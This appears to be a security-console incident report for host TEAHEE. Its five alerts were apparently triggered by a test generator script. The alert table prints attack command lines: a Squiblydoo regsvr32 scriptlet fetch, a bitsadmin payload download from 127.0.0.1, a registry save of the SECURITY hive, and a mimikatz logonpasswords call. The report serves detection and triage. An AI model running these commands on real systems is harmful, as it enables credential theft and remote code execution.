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Incident Overview

Incident ID CINC-20251220-F580C290
Severity Critical (90)
Status new
Alert Count 5
Host Count 1

Timeline

First Seen 2025-12-18 19:50:26
Last Seen 2025-12-18 19:51:45
Duration 0d 0h 1m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Defense Evasion Credential Access Execution
Techniques:
Regsvr32 BITS Jobs OS Credential Dumping User Execution

Affected Hosts (1)

TEAHEE

Related Alerts (5)

Severity Status Hostname Description Tactic Command Line Time
High new TEAHEE A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line. Defense Evasion regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll 12-18 19:51
High new TEAHEE A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/test C:\Users\dokji\AppData\Local\Temp\bits.exe 12-18 19:51
Critical new TEAHEE A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SECURITY C:\Users\dokji\AppData\Local\Temp\security.hiv 12-18 19:51
High new TEAHEE A process appears to be launching mimikatz, a password dumping utility. mimikatz's primary purpose is to steal passwords. If credentials were dumped, change your passwords and investigate further. Credential Access C:\WINDOWS\system32\cmd.exe /c "powershell sekurlsa::logonpasswords" 12-18 19:51
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-18 19:50